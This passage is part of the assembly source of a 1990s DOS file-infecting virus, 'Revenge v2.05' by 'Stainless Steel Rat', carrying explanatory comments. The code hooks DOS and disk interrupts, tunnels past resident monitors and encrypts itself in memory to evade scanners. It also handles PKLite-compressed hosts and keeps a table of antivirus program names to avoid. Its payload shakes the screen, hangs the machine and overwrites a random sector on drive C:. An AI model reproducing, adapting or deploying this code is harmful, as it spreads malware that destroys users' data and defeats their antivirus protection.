mov es:[24h*4],ax
mov ax,cs:seg_i24-100h
mov es:[24h*4+2],ax
pop es
push si
pop di
cld
mov ax,0A898h ; Return 'shit !',0 in russian
stosw
mov ax,20E2h
stosw
mov ax,'!' ; '!',0
stosw
jmp exit_fffn ; Stupid jmp!!!
nop

exit_fffn:
pop es
pop ds
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
popf
clc
add sp,6
jmp exit_21h

exit_fffn_preserve_AX:
mov cs:returnAX_fffn-100h,ax ; Preserve AX
pop es
pop ds
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
pop ax
mov ax,cs:returnAX_fffn-100h ; Return AX
add sp,6
stc
jmp exit_21h

popregs_iret:
pop es
pop ds
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
popf
iret

ofs_i24 dw 0
seg_i24 dw 0

restore_exec_host:
pop es
pop ds
cmp cs:[si+host_type],1 ; EXE?
je restore_exe ; Yes? then jmp
nop ; It's COM
nop
nop
cmp cs:[si+encrypted_byte?],0FFh ; Byte encrypted?
je decrypt_byte190 ; Yes? then jmp
nop
nop
nop
mov ax,103h ; Initial call return address
; If not encrypted it starts with 'call'
push ax
jmp restore_com
nop

decrypt_byte190:
mov al,cs:[si+encrypted_byte]
sub al,53h ; Decrypt byte
mov cs:[190h+100h],al ; Restore code in memory
restore_com:
mov ax,cs:[si+jmp_dest]
add ax,100h ; Host entry point
push ax
push si
add si,100h ; Remove virus from memory
mov cx,offset(delmem_here)-100h
call remove_from_memory
delmem_here:
pop si
add si,offset(restore_exe)
mov cx,virus_end-restore_exe
call remove_from_memory
ret ; Return to host

remove_from_memory:
push cx
l_del_mem:
mov byte ptr cs:[si],'#' ; Remove copy virus from memory
inc si
loop l_del_mem
pop cx
ret

db 'All dead...',0

restore_exe:
sub byte ptr ds:[512+100h],7Eh ; Decrypt byte
cmp cs:[si+pklite_exe],1 ; Pklited file?
jne no_pk_host_exe ; No? then jmp
nop
nop
nop
mov ds:[0Dh+100h],9090h ; Remove patch

no_pk_host_exe:
push ax
mov ax,ds
add ax,10h ; Add PSP
add cs:[si+_reloss],ax ; Relocate segments
add cs:[si+_relocs],ax
mov ax,cs:[si+_exeip]
mov cs:[si+file_ip],ax
mov ax,cs:[si+_relocs]
mov cs:[si+file_cs],ax
mov ax,cs:[si+_exesp]
mov cs:[si+file_sp],ax
mov ax,cs:[si+_reloss]
mov cs:[si+file_ss],ax
pop ax
push si
add si,100h
mov cx,offset(delmem_here)-100h ; offset(delmem_here2) !!!
call remove_from_memory
;delmem_here2:
pop si
push si
add si,offset(check_valid_fname)
mov cx,virus_end-check_valid_fname
call remove_from_memory
pop si
cli
mov sp,cs:[si+file_sp] ; Set stack
mov ss,cs:[si+file_ss]
sti
jmp dword ptr cs:[si+file_ip] ; Exec host

file_ip dw 0
file_cs dw 0
file_sp dw 0
file_ss dw 0

check_valid_fname:
push ds
push si
push di
push bx
mov di,dx
mov si,offset(av_table)
sub si,100h
mov bx,di

l_search_fname:
cmp byte ptr [di],0 ; End of string?
jz end_search ; Yes? then jmp
nop
nop
nop
cmp byte ptr [di],'\' ; Start of directory/file name?
je mark_position ; Yes? then jmp
nop
nop
nop
next_search_fname:
inc di
jmp l_search_fname

mark_position:
mov bx,di
jmp next_search_fname

end_search:
inc bx
next_inv_fname:
mov ax,cs:[si] ; Get 2 chars from table
cmp ax,'##' ; End of table?
je valid_fname ; Yes? then jmp
nop
nop
nop
cmp [bx+1],'DI' ; '?ID*.*' ? (AIDTEST?)
jne check_table ; No? then jmp
jmp print_msg_russ ; Yes? then jmp

check_table:
cmp ax,[bx] ; Invalid filename (in table)?
je invalid_fname ; Yes? then jmp
nop
nop
nop
inc si ; Next table entry
inc si
jmp next_inv_fname

valid_fname:
pop bx
pop di
pop si
pop ds
ret

invalid_fname:
pop bx
pop di
pop si
pop ds
pop ax
jmp restore_attr

convert2uppercase:
push di
push ax

l_c2up:
mov ah,[di]
cmp ah,0 ; End of string?
jz exit_c2up ; Yes? then jmp
nop
nop
nop
cmp ah,'a' ; In lowercase?
jb next_c2up ; No? then jmp
nop
nop
nop
cmp ah,'z' ; In lowercase?
ja next_c2up ; No? then jmp
nop
nop
nop
sub ah,' ' ; Convert in uppercase
next_c2up:
mov [di],ah
inc di
jmp l_c2up

exit_c2up:
pop ax
pop di
ret

db 'Crazy Little Thing Called PkLite',0

check4pklite_com:
push di
push ax
push cx
xor di,di
cmp byte ptr [di+header],50h ; PUSH AX? (PKL 1.50+)
jne no_pk150 ; No? then jmp
nop
nop
nop
inc di ; Skip 'push ax'
no_pk150:
cmp byte ptr [di+header],0B8h ; MOV AX,xxxx?
jne no_pklite ; No? then jmp
nop
nop
nop
cmp byte ptr [di+header+3],0BAh ; MOV DX,xxxx?
jnz no_pklite ; No? then jmp
nop
nop
nop
mov di,offset(header)+7
mov cx,16
xor ax,ax
l_crc_pkl:
add al,[di] ; Make CRC of code
inc di
loop l_crc_pkl
cmp al,53h ; PKLite 1.00?
je pk_100 ; Yes? then jmp
nop
nop
nop
cmp al,0E5h ; PKLite 1.15?
je pk_115 ; Yes? then jmp
nop
nop
nop
cmp al,9Dh ; PKLite 1.50?
jz pk_150 ; Yes? then jmp
nop
nop
nop
jmp no_pklite
nop

pk_100:
mov ofs_patchcom2,71h
mov inc_ofs_patch1,0 ; Dir patch+0
jmp pklite_found
nop

pk_115:
mov ofs_patchcom2,73h
mov inc_ofs_patch1,0 ; Dir patch+0
jmp pklite_found
nop

pk_150:
mov ofs_patchcom2,84h
mov inc_ofs_patch1,1 ; Dir patch+1
pklite_found:
clc
jmp pklite
nop

no_pklite:
stc
pklite:
pop cx
pop ax
pop di
ret

check4pklite_exe:
cmp _relocs,0FFF0h ; CS segment=0FFF0h? (like pklited file)
jne not_found_pkexe ; No? then jmp
nop
nop
nop
cmp _exeip,100h ; IP=100h? (like pklited files)
jne not_found_pkexe ; No? then jmp
nop ; Yes? Seems to be a pklited exe file
nop
nop
mov ax,4200h
mov cl,4
mov dx,_hdrsize
shl dx,cl ; header size * 16 = start of code
mov ofs_segcode,dx
add dx,6 ; Skip 6 bytes
xor cx,cx
call int_21 ; Lseek to end of header+6
mov ah,3Fh
mov dx,offset(buffer_pkexe)
mov cx,0Ah
call int_21 ; Read from file
mov si,offset(pkexe_code)
mov di,offset(buffer_pkexe)
mov cx,0Ah
l_cmp_pkcode:
mov al,[si]
cmp al,[di] ; Check if it's a pklited exe file
jne not_found_pkexe ; No? then jmp
nop
nop
nop
inc di
inc si
loop l_cmp_pkcode
clc
ret

not_found_pkexe:
stc
ret

buffer_pkexe:
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0

db 0
db 0

pkexe_code:
; add ax,0
; cmp ax,[2]
; jnb $+1Ch
; sub ax,0

db 5
db 0
db 0
db 3Bh
db 6
db 2
db 0
db 73h
db 1Ah
db 2Dh
ofs_segcode dw 0

print_msg_russ:
push cs
pop ds
mov ah,9
mov dx,offset(msg_russian)-100h
call int_21 ; Print msg
cli
hlt ; Hang computer

print_REVENGE:
mov ax,3
int 10h ; VIDEO: Change mode to 80x25 16col.
mov ax,40h ; why??
mov es,ax ; why??
mov cx,0FFFFh
mov ah,1
int 10h ; VIDEO: Set cursor characteristics
; CH bits 0-4 = start line in character cell
; bits 5-6 = blink attribute
; CL bits 0-4 = end line in character cell
mov ax,0B800h
mov es,ax ; ES:=video memory segment
mov di,(3*80+28)*2 ; gotoxy(28,3)
mov si,offset(this_is)
write_this_is:
mov ah,[si]
cmp ah,0 ; End of string?
jz wrote_this_is ; Yes? then jmp
nop
nop
nop
mov es:[di],ah ; Write char to screen
add di,3*2 ; 2 chars between letters
inc si
jmp write_this_is

wrote_this_is:
mov di,(6*80)*2 ; gotoxy(0,6)
mov bx,di
mov si,offset(revenge)
mov cx,12 ; 12 lines
l_revenge_line:
mov al,[si]
cmp al,0 ; End of line?
je new_revenge_line ; Yes? then jmp
nop
nop
nop
cmp al,' ' ; Space?
jne cmp_b1 ; No? then jmp
nop
nop
nop
mov ah,0 ; Color: black
jmp write_charAL_colorAH
nop

cmp_b1:
cmp al,'±' ; ± code?
jne cmp126 ; No? then jmp
nop
nop
nop
mov ah,0C0h ; Blink ±
jmp write_charAL_colorAH
nop

cmp126:
cmp al,'~' ; ~ code?
jne cmpp ; No? then jmp
jmp code126p

cmpp:
cmp al,'#' ; '#' code?
jne cmp_d ; No? then jmp
jmp code126p

cmp_d:
cmp al,'d' ; 'd' code?
jne cmp_w ; No? then jmp
nop
nop
nop
mov ah,0C0h ; Blink
mov al,'±'
jmp write_2chars

cmp_w:
cmp al,'w' ; 'w' code?
jne cmpadm
nop
nop
nop
mov ah,4 ; Color: red
mov al,'ß'
jmp write_2chars

cmpadm:
cmp al,'!' ; '!' code?
jne no_special_char ; No? then jmp
nop
nop
nop
xor ax,ax ; Char 0, color black
jmp write_2chars

no_special_char:
mov ah,4 ; Color: red
write_charAL_colorAH:
mov es:[di],ax
inc di
inc di
inc si
jmp l_revenge_line

new_revenge_line:
add bx,80*2 ; Next screen line
mov di,bx
inc si
loop l_revenge_line
mov di,(20*80+6)*2 ; gotoxy(6,20)
mov si,offset(of_SSR)
write_of_SSR:
mov ah,[si]
cmp ah,0 ; End of string?
jz wrote_of_SSR ; Yes? then jmp
nop
nop
nop
mov es:[di],ah ; Write char to screen
add di,3*2 ; 2 chars between letters
inc si
jmp write_of_SSR

wrote_of_SSR:
mov cx,200 ; !?
mov si,1
sti
change_line_colors:
mov di,(20*80+5)*2 ; gotoxy(20,5)
mov cx,68
l_set_colors:
push cx
mov ah,cl ; Calculate color
mov cl,4
mov bx,si
add ah,bl
shl ah,cl
shr ah,cl
cmp ah,0 ; Black?
jnz no_black ; No? then jmp
nop
nop
nop
mov ah,1 ; Skip black
no_black:
mov es:[di+1],ah ; Set char color
pop cx
inc di ; Next char
inc di
loop l_set_colors
call delay
inc si ; New colors
in al,60h ; AT Keyboard controller 8042.
cmp al,1 ; ESC key pressed?
jne change_line_colors ; No? then jmp
jmp print_msg_and_kill_sector
nop

delay:
mov cx,0FFFFh
loop $
mov cx,0FFFFh
loop $
mov cx,0FFFFh
loop $
ret

code126p:
push cx
mov cl,[si+1] ; Number of chars to repeat
cmp al,'~'
jne codep
nop ; '~' char
nop
nop
mov ah,0 ; Color: Black
jmp l_repeat_char
nop

codep:
mov ah,0C0h ; Blink
mov al,'±'
l_repeat_char:
cmp cl,0 ; More chars?
jz end_repeat_char ; No? then jmp
nop
nop
nop
mov es:[di],ax ; Write char
inc di
inc di
dec cl
jmp l_repeat_char

end_repeat_char:
inc si
inc si
pop cx
jmp l_revenge_line
write_2chars:
mov es:[di],ax ; Write char
inc di
inc di
jmp write_charAL_colorAH ; Write another char

print_msg_and_kill_sector:
mov ax,2
int 10h ; VIDEO: Change mode to 80x25 B&W
mov al,3
int 10h ; VIDEO: Change mode to 80x25 16col.
mov ah,1
mov cx,2000h ; Invisible cursor
int 10h ; VIDEO: Set cursor characteristics
mov cx,0
mov di,(9*80+8)*2 ; gotoxy(8,9)
mov si,offset(release_msg)
mov ax,0B800h
mov es,ax ; Point to video memory
l_print_version:
push di
call print_string
pop di
add di,80*2 ; Next screen line
inc si
add cx,1 ; Next line (inc cx!!)
cmp cx,4 ; 4 lines printed?
jne l_print_version
mov ax,40h
mov es,ax ; ES:=40h
mov dx,es:[6Ch] ; Random sector
mov cx,1 ; 1 sector
mov al,2 ; C:
int 26h ; DOS - ABSOLUTE DISK WRITE
; AL = drive number (0=A, 1=B, etc),
; DS:BX = Disk Transfer Address (buffer)
; CX = number of sectors to write,
; DX = first relative sector to write
; Overwrite random sector
cli
hlt ; Hang computer

print_string:
mov al,[si]
mov ah,11
add ah,cl ; Line 1: color 11 -> blue
; Line 2: color 12 -> red
; Line 3: color 13 -> pink
; Line 4: color 14 -> yellow
cmp al,'#' ; Special code?
je skip_chars ; Yes? then jmp
nop
nop
nop
cmp al,0 ; End of string?
jz end_print_string ; Yes? then jmp
nop
nop
nop
mov es:[di],ax ; Print char
inc si
inc di
inc di
jmp print_string

end_print_string:
ret

skip_chars:
mov al,[si+1] ; Number of chars to skip
shl al,1 ; 2 bytes per each char
mov ah,0
add di,ax ; Skip chars
inc si
inc si
inc di
inc di
jmp print_string

encrypt_i1:
push cx
push ax
push si
push di
push es
mov si,offset(encrypt_instructions)
mov di,offset(enc_inst)
mov al,enc_selector
ror al,1
mov enc_selector,al
mov cl,6
shl al,cl
shr al,cl
mov cl,3
mul cl
add si,ax
call copy_enc_inst
pop es
pop di
pop si
pop ax
pop cx
ret

copy_enc_inst:
cld
mov cx,3
push ds
pop es
rep movsb
ret

enc_selector db 0

this_is db 'THIS IS',0


of_SSR db 'OF',9,'STAINLESS STEEL RAT',0

revenge: ; Compressed graphic


; Line 1
db '~',7,'*','d',' ','#',5,'~',9,'*','d',0,'~',7,'*','#',3,'w'
db 'ß','Û','d',' ','Ü','#',5,'!','*','d','~',4,'*','d','!','Ü'
db '#',5,'!','*','d',' ','#',4,'~',3,'#',4,' ','d','!','Ü','#',5,0
; Line 2
db '~',7,'Û','#',3,'~',3,'*','d','*','d','w','Û','d',' ','*','d'
db '~',4,'*','d',' ','*','d','w','Û','d',' ','*','#',3,'w','Û','d'
db '*','d','w','ß','#',3,' ','*','d','w','Û','d',0
; Line 3
db '~',6,'*','#',3,'~',3,'*','d',' ','*','d','!','*','d','!','Û'
db '±','~',3,'*','d','!','*','d','!','*','d',' ','*','d','~',3
db '*','d','*','d','~',3,'*','d',' ','*','d','!','*','d',0
; Line 4
db '~',6,'Û','#',7,'!','*','#',7,'~',3,'*','d','!','*','d',' ','*'
db '#',7,'!','*','d','~',3,'*','d',' ','Û','#',7,'*','#',7,0
; Line 5
db '~',5,'*','#',3,' ','*','d','~',3,'*','#',3,'w','ß','~',5,'*'
db 'd',' ','*','±','!','*','#',3,'w','ß','~',3,'*','d','~',3,'*'
db 'd','!','w','#',5,'*','#',3,'w','ß',0
; Line 6
db '~',5,'*','d','~',3,'Û','d','~',3,'Û','d','~',4,'±','~',4,'*'
db 'd','*','±','~',3,'Û','d','~',4,'±',' ','*','d',' ',' ','*','d'
db '~',5,'w','ß','Û','±',' ','Û','d','~',4,'±',0
; Line 7
db '~',5,'Û','d','~',4,'Û','d','~',3,'Û','#',5,'~',6,'*','d','~',5
db 'Û','#',5,'!','*','d','!','*','d','~',3,'±','~',3,'*','d','!'
db 'Û','#',5,0
; Line 8
db '~',4,'*','#',3,'~',5,'Û','d','~',3,'w','w','~',8,'w','~',6,'w'
db 'w','~',4,'w','~',3,'w',' ',' ','d','~',3,'*','d','~',3,'w','w'
db 0
; Line 9
db '~',4,'Û','d','~',7,'Û','d','~',27h,'*','#',6,0
; Line 10
db '~',4,'w','ß','~',8,'Û','d','~',27h,'w','w','ß','!',0
; Line 11
db '~',10h,'Û','d',0
; Line 12
db '~',10h,'w',0

; Uncompressed graphic:
;
; T H I S I S
;
; *±± ±±±±± *±±
; *±±±ßßßÛ±± ܱ±±±± *±± *±± ܱ±±±± *±± ±±±± ±±±± ±± ܱ±±±±
; Û±±± *±±*±±ßßÛ±± *±± *±± *±±ßßÛ±± *±±±ßßÛ±±*±±ßßß±±± *±±ßßÛ±±
; *±±± *±± *±± *±± Û± *±± *±± *±± *±± *±±*±± *±± *±± *±±
; Û±±±±±±± *±±±±±±± *±± *±± *±±±±±±± *±± *±± Û±±±±±±±*±±±±±±±
; *±±± *±± *±±±ßßß *±± *± *±±±ßßß *±± *±± ßß±±±±±*±±±ßßß
; *±± Û±± Û±± ± *±±*± Û±± ± *±± *±± ßßßÛ± Û±± ±
; Û±± Û±± Û±±±±± *±± Û±±±±± *±± *±± ± *±± Û±±±±±
; *±±± Û±± ßßßß ßß ßßßß ßß ßß ±± *±± ßßßß
; Û±± Û±± *±±±±±±
; ßßß Û±± ßßßßß
; Û±±
;
; O F S T A I N L E S S S T E E L R A T

release_msg:
db 'úúúú---BELBELBEL Revenge virus v 2.05 released at 08.08.96 BELBELBEL---úúúú',0
db 'úúúú---BELBELBEL Copyright (c) 1996-97 2 Rats Techno Soft BELBELBEL---úúúú',0
db 'úúúú---BELBELBEL#',11h, 'Written by#',0Eh, 'BELBELBEL---úúúú',0
db 'úúúú---BELBELBEL#',0Dh, 'Stainless Steel Rat#',9, 'BELBELBEL---úúúú',0

db 'StealthedMetamorphicCrazyForcedSynthesatedRandom'
db 'MegaLayerEncryptionProgressionMutationEngine'
db 'SeekAndDestroyerGenerator',0

msg_russian db '’ë ¥é¥ -¥ ¢ë¡p®á¨« íâ®â suxx - ¯®¬®©ªy ?! :)',7,'$'


header:
_signature dw 0C3h
_partpag dw 9090h
_pagecnt dw 20CDh
_relocnt dw 0
_hdrsize dw 0
_minmem dw 0
_maxmem dw 0
_reloss dw 0
_exesp dw 0
_chksum dw 0
_exeip dw 0
_relocs dw 0
_tabloff dw 0
_overlay dw 0
word_ofs1C dw 0
dw 0

dw 0 ; Unused!
dw 0 ; Unused!
dw 0 ; Unused!

jmp_com db 0E9h ; JMP xxxx (JMP start virus)


jmp_vir_l db 0
jmp_vir_h db 0

db 'Ÿ ¬áâî ,¨ ¬áâï ¬®ï 㦠á- ... ü S.S.R.'

file_month dw 0
returnAX_fffn dw 0
attributes dw 0
pklite_com db 0 ; 0 = Not compressed with Pklite
; 1 = Compressed with Pklite
jmp_dest dw 0
ofs_patchcom2 dw 0
inc_ofs_patch1 dw 0
encrypted_byte? db 0 ; 0FFh -> Yes
; 0 -> No

db 0 ; Unused!
_FFFF dw 0FFFFh
infection_count dw 0
encrypted_byte db 0
host_type db 0 ; 0 = COM
; 1 = EXE
ofs_vircode dw 0

table_ext:
db 'PAR' ; Windows swap file
db 'PIF' ; Windows PIF
db 'ICO' ; Windows Icon
db '°°°' ; ???
db 'PAS' ; Pascal sources
db 'BAS' ; Basic sources
db 'FRQ' ; ???
db '311' ; ???
db '312' ; ???
db 'TPU' ; Turbo Pascal Units
db 'GIF' ; GIF graphic format
db 'JPG' ; JPG graphic format
db 'NLM' ; Novell Netware (?)
db 'STM' ; ???
db 'MOD' ; MOD song format
db 'CPP' ; C++ sources
db 'DOT' ; WinWord
db 0FFh ; End of table ÿ

av_table:
db 'DR' ; DRWEB
db 'AI' ; AIDSTEST
db 'AD' ; ADINF
db 'CO' ; COMMAND.COM
db 'HI' ; HIEW
db 'AV' ; AVP, AVSCAN <ÄÄÄÄÄÄÄÄÄÄÄ¿
db 'WI' ; WIN ³
db 'KE' ; KEYB ³
db 'US' ; USER.EXE (Windows file) ³
db 'GD' ; GDI.EXE (Windows file) ³
db 'AV' ; Already checked!!! ÄÄÄÄÄÄÄÄÄ-
db '##' ; End of table

db 0 ; Unused!

db 0Dh,0Ah
db ' yâ¨-ëç !'
db 0Ah,0Dh
db ' ¥p¥¨¬¥-®¢ âì -¥ § å®â¥«,¤ ! ’ë á ¬ í⮣® å®â¥« ! '
db 0Dh,0Ah
db ' â® ¢®©- !!! ‘- ç « ¤®ª¨ - yç¨áì ¯¨á âì (ᬠAVPVE)!'
db 0Dh,0Ah
db '‚ ®¡é¥¬,H…‚Ž‡ŒŽ†HŽ‘’œ ‹…—…HˆŸ ®áâ ¢«ï¥â £-¥âã饥 ¢¯¥ç â«¥-¨¥'
db 0Ah,0Dh
db '®â ç१¬¥à-ëå ¯®â㣠£®á¯®¤¨- ¢¨à«¨á⮯¨á ⥫ï...'
db 0Dh,0Ah
db 'Exe-Pklite ⮫쪮 ¢ 3.13 - ª®¯ «... ¥¤-ë¥ î§¥pë - ¢¥p-®¥'
db 0Dh,0Ah
db 'â¥¡ï § ¤®«¡ «¨, ? Š ª íâ®:¢á¥ “„€‹ˆ‹:), ®- ®¯ïâì ¯®ï¢¨«áï !'
db 0Dh,0Ah
db 'H“ ’… … œ ‚‘… - ‚€Œ ‚‘…Œ Œ…HŸ ’… … œ ‹…—ˆ’œ ‘‹€ Ž:SND ®¤- ª®...'
db 0Dh,0Ah
db 'RES -¥ ®âí¬y«¨« - ¯®«yç¨ 32ReGs,@$%^, !'
db 0Dh,0Ah
db 'Revenge - â® ¤ ¦¥ -¥ è¢ ¡p , ¯ë«¥á®á á 拉p-®© - ª 窮© ¨'
db 0Dh,0Ah
db 'âyp¡®-- ¤¤y¢®¬ ¤«ï ⢮¥© -¥áç áâ-®© yâ¨-ë ¨ ®áâ «ì-ëå ‡€SHITHˆŠŽ‚!'
db 0Dh,0Ah
db '[®áâ «ì-ë¥ - ¥§¤ë ¯®áª¨¯ -ë]'
db 0Dh,0Ah
db '“¢ ¦ ¥¬ë© £-- Š ᯥp᪨© ! Žç¥-ì ¡« £®¤ p¥- § ¯®¤p®¡-®¥ ®¯¨á -¨¥ !'
db 0Dh,0Ah
db 'Œ-¥ ®ç¥-ì ¯®-p ¢¨«®áì,thanks. £¨ ¢ ¤®ª¥ ¥áâì -® ¢á¥ p ¢-® - Š “’Ž !'
db 0Dh,0Ah
db 'RES - -¥ ¯®«¨¬®pä-ë© £¥-¥p â®p, Randomer'
db 0Dh,0Ah
db ' ® í⮬y ¯®¢®¤y ï y¤ «¨« .AVB ¨§ å®p®è¥£® ᯨ᪠! Best®¢ë¥ p¥£ p¤ë ¨'
db 0Dh,0Ah
db 'py«¥áë ! AVP - íâ® ªpyâ®,Web - real SUXX !'
db 0Dh,0Ah
db '‡ ¡ £¨ ¨ £«îª¨ -¥ ®â¢¥ç î (¢ ®á®¡¥--®á⨠§ çy¦¨¥)!'
db 0Dh,0Ah
db 'ü S.S.R.'
db 0Dh,0Ah
db 'P.S. remember:8086 - -¥ 486, emul - -¥ TD386'
db 0Dh,0Ah
encrypt_instructions:
add es:[di],al
sub es:[di],al
xor es:[di],al
ror byte ptr es:[di],cl

int_24:
mov al,3
iret

int_1c:
pushf
inc cs:tick_counter-100h
cmp cs:tick_counter-100h,6000h ; Time to shake screen?
; (6000h ticks = aprox. 22 min.)
je shake_screen ; Yes? then jmp
nop
nop
nop
popf
iret

shake_screen:
dec cs:tick_counter-100h ; Continue with shake
push ax
push dx
mov dx,3C4h
mov al,1
out dx,al ; EGA: sequencer address reg
; clocking mode. Data bits:
; 0: 1=8 dots/char; 0=9 dots/char
; 1: CRT bandwidth: 1=low; 0=high
; 2: 1=shift every char; 0=every 2nd char
; 3: dot clock: 1=halved
inc dx
in al,40h ; Get random number
and al,1 ; AL:=[0 | 1]
out dx,al ; EGA port: sequencer data register
; Shake screen
pop dx
pop ax
popf
iret

tick_counter dw 0

int_6:
pop cs:caller_IP-100h
pop cs:caller_CS-100h
push cs:caller_CS-100h
push cs:caller_IP-100h
push es
push ax
push di
mov ax,cs:caller_CS-100h
mov es,ax
mov di,cs:caller_IP-100h
cmp byte ptr es:[di],0F0h ; Opcode 0F0? (Used by SND)
jne exit_i6 ; No? then jmp
nop
nop
nop
mov al,es:[di+1] ; Get next byte
rcr al,1 ; Using AX?
jc encode_movax ; Yes? then jmp
nop
nop
nop
mov byte ptr es:[di],0B4h ; Encode MOV AH,xx
mov al,es:[di+3] ; Get value of AH
xor al,es:[di+2] ; Decrypt it
mov es:[di+1],al ; and store it
mov es:[di+2],21CDh ; Encode int 21h
jmp exit_i6
nop

encode_movax:
mov byte ptr es:[di],0B8h ; Encode MOV AX,xxxx
mov ax,es:[di+3] ; Get value of AX
xor al,es:[di+2] ; Decrypt it
xor ah,es:[di+2]
mov es:[di+1],ax ; and store it
mov es:[di+3],21CDh ; Encode int 21h
jmp exit_i6 ; Stupid JMP!!
nop
exit_i6:
pop di
pop ax
pop es
iret

caller_IP dw 0
caller_CS dw 0

int_ac:
add sp,6 ; Remove return address from stack
pushf
push ax
push bx
push es
mov bx,cs:ofs_i21_2-100h ; Get real int 21h
mov ax,cs:seg_i21_2-100h
mov es,ax
mov ax,cs:_2bytes_21h-100h
mov es:[bx],ax ; Restore original bytes
pop es
pop bx
pop ax
push si
push cx
push ax
mov si,offset(function_table)-100h
mov cx,3
l_cmp_function:
cmp ah,cs:[si] ; Function in table?
je found_function ; Yes? then jmp
nop
nop
nop
inc si
loop l_cmp_function
dec ah
cmp ax,4A00h ; 4B00h? Exec?
je found_function ; Yes? then jmp
nop
nop
nop
cmp ah,0FEh ; 0FFh?
jne cmp_abcd ; No? then jmp
jmp warning_msg ; Yes? then jmp

cmp_abcd:
cmp ax,0AACDh ; 0ABCDh?
jne cmp_4b53 ; No? then jmp
jmp warning_msg ; Yes? then jmp

cmp_4b53:
cmp ax,4A53h ; 4B53h?
jne cmp_cccc ; No? then jmp
jmp warning_msg ; Yes? then jmp

cmp_cccc:
cmp ax,0CBCCh ; 0CCCCh?
jne cmp_dead ; No? then jmp
jmp warning_msg ; Yes? then jmp

cmp_dead:
cmp ax,0DDADh ; 0DEADh?
jne exec_21h ; No? then jmp
jmp warning_msg ; Yes? then jmp

exec_21h:
pop ax
pop cx
pop si
popf
jmp jmp_21h
nop

function_table:
db 3Dh ; Open
db 4Eh ; Find-first
db 4Fh ; Find-next

found_function:
pop ax
pop cx
pop si
popf
call decrypt_memory
call set_original_i13h
int 0ABh
call encrypt_memory
call restore_i13h
jmp jmp_21h
nop

exit_21h:
call restore_i13h
call encrypt_memory
pushf
push es
push ax
push bx
mov bx,cs:ofs_i21_2-100h
mov ax,cs:seg_i21_2-100h
mov es,ax
mov es:[bx],0ACCDh ; int ACh in starting bytes of int 21h
pop bx
pop ax
pop es
popf
retf 2

jmp_21h:
pushf
pop cs:flags-100h ; Save flags
push es
push bx
push ax
xor bx,bx
mov es,bx ; ES:=0
mov bx,es:[2Ah*4] ; Get & save int 2Ah
mov cs:ofs_i2A_2-100h,bx
mov bx,es:[2Ah*4+2]
mov cs:seg_i2A_2-100h,bx
mov es:[2Ah*4],offset(int_2A_2)-100h ; Set new int 2Ah
mov es:[2Ah*4+2],cs
pop ax
pop bx
pop es
push cs
mov cs:saved_AX-100h,ax
mov ax,offset(return_from_int)-100h ; Return address
push ax
mov cs:saved_DI-100h,di
mov cs:saved_ES-100h,es
push cs:flags-100h
mov di,70h ; DOS Segment
mov es,di
push es
xor di,di
l_search_retf: ; Search for a RETF in DOS seg
cmp byte ptr es:[di],0CBh ; RETF?
je found_retf ; Yes? then jmp
nop
nop
nop
inc di
jmp l_search_retf

found_retf:
push di ; The int will return to a RETF in the
; DOS segment -> It simulates that the
; call to the int was done by DOS
mov di,cs:saved_ES-100h ; Restore registers
mov es,di
mov di,cs:saved_DI-100h
mov ax,cs:saved_AX-100h
db 0EAh ; jmp far (exec int 21h)
ofs_i21_2 dw 0
seg_i21_2 dw 0

return_from_int:
call restore_i2A_2
jmp int_2A_2
nop

restore_i2A_2:
pushf
push es
push bx
xor bx,bx
mov es,bx ; ES:=0
mov bx,cs:ofs_i2A_2-100h ; Restore int 2Ah
mov es:[2Ah*4],bx
mov bx,cs:seg_i2A_2-100h
mov es:[2Ah*4+2],bx
pop bx
pop es
popf
ret

int_2A_2: ; Int 2Ah: Called at the end of an int 21h


nop
nop
pushf
push es
push ax
push bx
mov bx,cs:ofs_i21_2-100h
mov ax,cs:seg_i21_2-100h
mov es,ax
mov es:[bx],0ACCDh ; int 0ACh in starting bytes of int 21h
pop bx
pop ax
pop es
popf
call restore_i2A_2
retf 2

_2bytes_21h dw 0
ofs_i2A_2 dw 0
seg_i2A_2 dw 0
saved_AX dw 0
saved_DI dw 0
saved_ES dw 0
flags dw 0

encrypt_memory:
pushf
push es
push si
push cx
push ax
xor si,si
mov ax,40h
mov es,ax
mov cl,es:[6Ch] ; Get random number (clock)
mov cs:mem_mask-100h,cl
mov al,cl
mov cx,int_24-virus_start
l_encrypt_memory:
push cx
mov cl,al
add cs:[si],cl ; Encrypt code in memory
ror byte ptr cs:[si],cl
xor cs:[si],cl
inc si
pop cx
loop l_encrypt_memory
pop ax
pop cx
pop si
pop es
popf
ret

decrypt_memory:
pushf
push si
push cx
push ax
xor si,si
mov cx,int_24-virus_start
l_decrypt_memcode:
push cx
mem_mask equ byte ptr $+1
mov cl,0 ; mov cl,mem_mask
xor cs:[si],cl ; Decrypt code in memory
rol byte ptr cs:[si],cl
sub cs:[si],cl
inc si
pop cx
loop l_decrypt_memcode
pop ax
pop cx
pop si
popf
ret

int_21:
pushf
db 9Ah ; call far
ofs_i21 dw 0
seg_i21 dw 0
ret

iret ; Unused!

set_original_i13h:
pushf
push ax
push es
xor ax,ax
mov es,ax ; ES:=0
mov ax,es:[13h*4] ; Get int 13h
mov cs:ofs_actual_i13-100h,ax ; Save it
mov ax,es:[13h*4+2]
mov cs:seg_actual_i13-100h,ax
mov ax,cs:ofs_i13-100h
mov es:[13h*4],ax ; Set original int 13h
mov ax,cs:seg_i13-100h
mov es:[13h*4+2],ax
pop es
pop ax
popf
ret

restore_i13h:
pushf
push ax
push es
xor ax,ax
mov es,ax ; ES:=0
mov ax,cs:ofs_actual_i13-100h ; Restore int 13h
mov es:[13h*4],ax
mov ax,cs:seg_actual_i13-100h
mov es:[13h*4+2],ax
pop es
pop ax
popf
ret

ofs_i13 dw 0
seg_i13 dw 0
ofs_actual_i13 dw 0
seg_actual_i13 dw 0

warning_msg:
mov ax,0B800h
mov es,ax ; ES:=0B800 (text video segment)
mov di,(6*80+15)*2 ; gotoxy(15,6)
mov si,offset(msg_alarm)-100h
mov cx,14 ; Number of msgs
l_next_msg:
push di
xor bp,bp
l_msg_nextchar:
inc bp
mov al,cs:[si]
cmp al,0 ; End of string?
jz msg_end ; Yes? then jmp
nop
nop
nop
mov ah,15 ; Textcolor=white
stosw ; Put character on screen
inc si
jmp l_msg_nextchar

msg_end:
inc si
push cx
shl bp,1
mov cx,(80+15)*2
sub cx,bp
mov ax,0F20h
cld
rep stosw ; Fill line with spaces
